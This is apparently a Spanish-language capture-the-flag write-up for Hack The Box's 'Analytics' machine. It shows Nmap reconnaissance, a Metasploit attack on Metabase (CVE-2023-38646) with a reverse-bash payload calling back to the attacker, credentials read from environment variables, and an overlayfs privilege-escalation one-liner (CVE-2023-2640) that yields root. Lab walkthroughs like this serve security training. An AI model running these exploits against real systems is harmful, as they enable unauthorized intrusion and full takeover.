Analytics

Diciembre 18, 2023

Introducción

Muestro como comprometer la máquina Analytics de la plataforma Hack the box.

Crear entorno de trabajo

Creamos los directorios de trabajo.

Dirección IP de la máquina

  • Ip address => 10.10.11.233

Detectar Sistema Operativo

Utilizamos la herramienta Ping para detectar ante que sistema operativo estamos. Al tener un TTL cercano a 64 podemos deducir que estamos ante un equipo Linux.

  • 1 => TTL 63

Escaneo con Nmap

Realizamos un primer escaneo con Nmap para detectar los puertos abiertos en el equipo.

sudo nmap -p- --open -Pn -n -T5 -vvv 10.10.11.233
  • nmap: Este es el comando principal para ejecutar Nmap.
  • -p-: Este parámetro indica a Nmap que escanee todos los puertos en el rango 1-65535. El guion indica un rango de puertos, en este caso, todos los puertos posibles.
  • --open: Este parámetro hace que Nmap solo muestre los puertos que están abiertos, es decir, aquellos en los que se detecta actividad.
  • -Pn: Este parámetro indica a Nmap que no realice la detección de hosts y que trate todos los hosts como si estuvieran activos. Esto puede ser útil cuando se exploran redes donde la detección de hosts puede no ser confiable.
  • -n: Este parámetro indica a Nmap que no realice la resolución de DNS durante el escaneo. En lugar de buscar nombres de host, mostrará direcciones IP directamente.
  • -T5: Este parámetro establece la velocidad del escaneo en el nivel 5, que es el nivel más alto de velocidad. Un escaneo más rápido puede aumentar la posibilidad de detección, pero también puede ser más intrusivo.
  • -vvv: Este parámetro aumenta el nivel de verbosidad del escaneo. Cuantos más «v» se agreguen, más detallada será la salida y se mostrará más información sobre el progreso del escaneo.

Obtenemos los puertos 22 y 80 abiertos.

Escaneo Nmap para sacar las versiones de los puertos y scripts de reconocimiento

sudo nmap -p22,80 -sCV 10.10.11.233
  • 1 => 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
  • 2 => 80/tcp open http nginx 1.18.0 (Ubuntu)

Agregamos el dominio analytical.htb al archivo /etc/hosts

10.10.11.233    analytical.htb

Visualizamos la web en el navegador

A simple vista podemos ver que en el apartado Team tenemos unos posibles usuarios.

  • Jonnhy Smith – Chief Data Officer
  • Alex kirigo – Data Engineer
  • Daniel Walker – Data Analyst

También se puede ver que tenemos un apartado de Login, en el cual, si pinchamos en el enlace nos lleva al dominio data.analytical.htb. Debemos introducir este dominio al archivo /etc/hosts para poder visualizarlo.

# /etc/hosts
10.10.11.233    analytical.htb    data.analytical.htb

Visualizar apartado Login

Mirando el apartado de Login podemos ver que estamos ante la plataforma Metabase, por lo que procedo a investigar si existe algún tipo de vulnerabilidad en esta plataforma.

Mirando en internet he encontrado esta posible explotación.
Enlace: https://www.cvedetails.com/cve/CVE-2023-38646/

Será necesario utilizar metasploit para llevar acabo el ataque.

Metasploit

Iniciamos el servicio postgresql.

sudo service postgresql start

En caso que no tengamos la base de datos de metasploit creado debemos crearla ejecutando el siguiente comando.

sudo msfdb init

Ejecutamos el comando msfconsole.

msfconsole

Realizamos la búsqueda con el término metabase.

search metabase

Utilizamos el exploit metabase_setup_token_rce.

  • 1 => Nombre del exploit
  • 2 => Seleccionamos el exploit
  • 3 => Vemos la opciones de configuración

Configuramos el exploit.

set RHOSTS http://data.analytical.htb
set RPORT 80
set LHOST 10.0.0.1

Configuramos el payload.

set payload cmd/unix/reverse_bash
  • 1 => RHOSTS – http://data.analytical.htb
  • 2 => RPORT – 80
  • 3 => Payload – cmd/unix/reverse_bash
  • 4 =>LHOST – Dirección Ip local
  • 5 => LPORT – Puerto local

Ejecutamos el exploit y esperamos que nos entable la revershell.

exploit

Mirando las variables de entorno con el comando env aparece el usuario META_USER (metalytics) y la contraseña META_PASS (*********).

Conexión por ssh

ssh metalytics@10.10.11.233

Obtenemos la flag del usuario.

Escalada de privilegios

Buscamos la versión del sistema operativo con el comando.

uname -a

Procedo a buscar posibles vulnerabilidades para la escalada de privilegios en la versión 22.04.2 de Ubuntu SMP.

CVE 2023-2640

Fuente: https://www.cvedetails.com/cve/CVE-2023-2640/

Exploit

Ejecutamos la siguiente línea de código en la shell de ssh y obtenemos privilegios de root.

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

Obtenemos la flag del usuario root.